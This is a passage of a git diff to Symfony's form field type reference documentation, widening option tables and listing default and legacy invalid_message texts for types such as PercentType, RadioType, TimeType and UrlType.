++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -54,6 +58,8 @@ entered into the box, set this to false and submit the form.
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``trim``
 ~~~~~~~~
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 4b21f1f2856..3dd47e1d320 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -12,40 +12,43 @@ you can use this field out-of-the-box. If you store your data as a number
 When ``symbol`` is not ``false``, the field will render the given string after
 the input.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                              |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `html5`_                                                            |
-|             | - `rounding_mode`_                                                    |
-|             | - `scale`_                                                            |
-|             | - `symbol`_                                                           |
-|             | - `type`_                                                             |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | - `html5`_                                                            |
+|                           | - `rounding_mode`_                                                    |
+|                           | - `scale`_                                                            |
+|                           | - `symbol`_                                                           |
+|                           | - `type`_                                                             |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a percentage value.                                      |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -115,6 +118,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -144,8 +149,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index ae0d58d2fe4..579dab0bc1d 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -13,38 +13,49 @@ The ``RadioType`` isn't usually used directly. More commonly it's used
 internally by other types such as :doc:`ChoiceType </reference/forms/types/choice>`.
 If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/types/checkbox>`.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``radio`` field                                           |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
-| options     |                                                                     |
-|             | - `value`_                                                          |
-|             |                                                                     |
-|             | from the :doc:`FormType </reference/forms/types/form>`:             |
-|             |                                                                     |
-|             | - `attr`_                                                           |
-|             | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``radio`` field                                           |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
+|                           |                                                                     |
+|                           | - `value`_                                                          |
+|                           |                                                                     |
+|                           | from the :doc:`FormType </reference/forms/types/form>`:             |
+|                           |                                                                     |
+|                           | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid option.                                       |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index e328a1bbe97..ab3a0d15859 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -7,29 +7,35 @@ RangeType Field
 The ``RangeType`` field is a slider that is rendered using the HTML5
 ``<input type="range"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser)       |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``range`` field (slider in HTML5 supported browser)       |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
+|                           | - `trim`_                                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please choose a valid range.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -48,6 +54,11 @@ Basic Usage
         ]
     ]);
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index c78e6cc318e..7a9f6d9d9be 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -9,34 +9,37 @@ values must match (or a validation error is thrown). The most common use
 is when you need the user to repeat their password or email to verify
 accuracy.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | input ``text`` field by default, but see `type`_ option                |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `first_name`_                                                        |
-|             | - `first_options`_                                                     |
-|             | - `options`_                                                           |
-|             | - `second_name`_                                                       |
-|             | - `second_options`_                                                    |
-|             | - `type`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `error_bubbling`_                                                    |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `invalid_message`_                                                   |
-|             | - `invalid_message_parameters`_                                        |
-|             | - `mapped`_                                                            |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | input ``text`` field by default, but see `type`_ option                |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `first_name`_                                                        |
+|                           | - `first_options`_                                                     |
+|                           | - `options`_                                                           |
+|                           | - `second_name`_                                                       |
+|                           | - `second_options`_                                                    |
+|                           | - `type`_                                                              |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `error_bubbling`_                                                    |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `invalid_message_parameters`_                                        |
+|                           | - `mapped`_                                                            |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | The values do not match.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -184,6 +187,8 @@ Overridden Options
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -201,8 +206,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e0f8233aa5b..f9c53733872 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -9,32 +9,43 @@ special functionality supported by some browsers.
 
 Read about the input search field at `DiveIntoHTML5.info`_
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input search`` field                                               |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-|             | - `trim`_                                                            |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input search`` field                                               |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `error_mapping`_                                                   |
+|                           | - `help`_                                                            |
+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
+|                           | - `trim`_                                                            |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid search term.                                    |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f6c19391ada..fc45434bc4e 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -13,33 +13,44 @@ Nevertheless, it may be useful to use this type in web applications because some
 browsers (e.g. smartphone browsers) adapt the input keyboard to make it easier
 to input phone numbers.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``tel`` field (a text box)                                |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType`   |
-+-------------+---------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input`` ``tel`` field (a text box)                              |
++---------------------------+-------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                              |
++---------------------------+-------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                         |
+|                           | - `data`_                                                         |
+|                           | - `disabled`_                                                     |
+|                           | - `empty_data`_                                                   |
+|                           | - `error_bubbling`_                                               |
+|                           | - `error_mapping`_                                                |
+|                           | - `help`_                                                         |
+|                           | - `help_attr`_                                                    |
+|                           | - `help_html`_                                                    |
+|                           | - `label`_                                                        |
+|                           | - `label_attr`_                                                   |
+|                           | - `label_format`_                                                 |
+|                           | - `mapped`_                                                       |
+|                           | - `required`_                                                     |
+|                           | - `row_attr`_                                                     |
+|                           | - `trim`_                                                         |
++---------------------------+-------------------------------------------------------------------+
+| Default `invalid_message` | Please provide a valid phone number.                              |
++---------------------------+-------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 042e3e7da0c..08c3efb77f4 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -10,48 +10,52 @@ This can be rendered as a text field, a series of text fields (e.g. hour,
 minute, second) or a series of select fields. The underlying data can be
 stored as a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | can be various tags (see below)                                             |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `reference_date`_                                                         |
-|                      | - `seconds`_                                                                |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | FormType                                                                    |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                             |
++---------------------------+-----------------------------------------------------------------------------+
+| Options                   | - `choice_translation_domain`_                                              |
+|                           | - `placeholder`_                                                            |
+|                           | - `hours`_                                                                  |
+|                           | - `html5`_                                                                  |
+|                           | - `input`_                                                                  |
+|                           | - `input_format`_                                                           |
+|                           | - `minutes`_                                                                |
+|                           | - `model_timezone`_                                                         |
+|                           | - `reference_date`_                                                         |
+|                           | - `seconds`_                                                                |
+|                           | - `view_timezone`_                                                          |
+|                           | - `widget`_                                                                 |
+|                           | - `with_minutes`_                                                           |
+|                           | - `with_seconds`_                                                           |
++---------------------------+-----------------------------------------------------------------------------+
+| Overridden options        | - `by_reference`_                                                           |
+|                           | - `compound`_                                                               |
+|                           | - `data_class`_                                                             |
+|                           | - `error_bubbling`_                                                         |
+|                           | - `invalid_message`_                                                        |
++---------------------------+-----------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                   |
+|                           | - `data`_                                                                   |
+|                           | - `disabled`_                                                               |
+|                           | - `error_mapping`_                                                          |
+|                           | - `help`_                                                                   |
+|                           | - `help_attr`_                                                              |
+|                           | - `help_html`_                                                              |
+|                           | - `inherit_data`_                                                           |
+|                           | - `invalid_message_parameters`_                                             |
+|                           | - `mapped`_                                                                 |
+|                           | - `row_attr`_                                                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid time.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | FormType                                                                    |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -220,6 +224,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -241,8 +247,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index c18cdbaf339..64e17890de8 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -14,45 +14,50 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of timezones. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `input`_                                                             |
-|             | - `intl`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `input`_                                                             |
+|                           | - `intl`_                                                              |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                           |
+|                           | - `choice_translation_domain`_                                         |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
+|                           |                                                                        |
+|                           | - `expanded`_                                                          |
+|                           | - `multiple`_                                                          |
+|                           | - `placeholder`_                                                       |
+|                           | - `preferred_choices`_                                                 |
+|                           | - `trim`_                                                              |
+|                           |                                                                        |
+|                           | from the :doc:`FormType </reference/forms/types/form>`                 |
+|                           |                                                                        |
+|                           | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid timezone.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -107,6 +112,8 @@ The Timezone type defaults the choices to all timezones returned by
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a03f1532021..e5f782ce088 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -8,32 +8,38 @@ The ``UrlType`` field is a text field that prepends the submitted value with
 a given protocol (e.g. ``http://``) if the submitted value doesn't already
 have a protocol.
 
-+-------------+-------------------------------------------------------------------+
-| Rendered as | ``input url`` field                                               |
-+-------------+-------------------------------------------------------------------+
-| Options     | - `default_protocol`_                                             |
-+-------------+-------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                         |
-| options     | - `data`_                                                         |
-|             | - `disabled`_                                                     |
-|             | - `empty_data`_                                                   |
-|             | - `error_bubbling`_                                               |
-|             | - `error_mapping`_                                                |
-|             | - `help`_                                                         |
-|             | - `help_attr`_                                                    |
-|             | - `help_html`_                                                    |
-|             | - `label`_                                                        |
-|             | - `label_attr`_                                                   |
-|             | - `label_format`_                                                 |
-|             | - `mapped`_                                                       |
-|             | - `required`_                                                     |
-|             | - `row_attr`_                                                     |
-|             | - `trim`_                                                         |
-+-------------+-------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                     |
-+-------------+-------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
-+-------------+-------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input url`` field                                               |
++---------------------------+-------------------------------------------------------------------+
+| Options                   | - `default_protocol`_                                             |
++---------------------------+-------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                              |
++---------------------------+-------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                         |
+|                           | - `data`_                                                         |
+|                           | - `disabled`_                                                     |
+|                           | - `empty_data`_                                                   |
+|                           | - `error_bubbling`_                                               |
+|                           | - `error_mapping`_                                                |
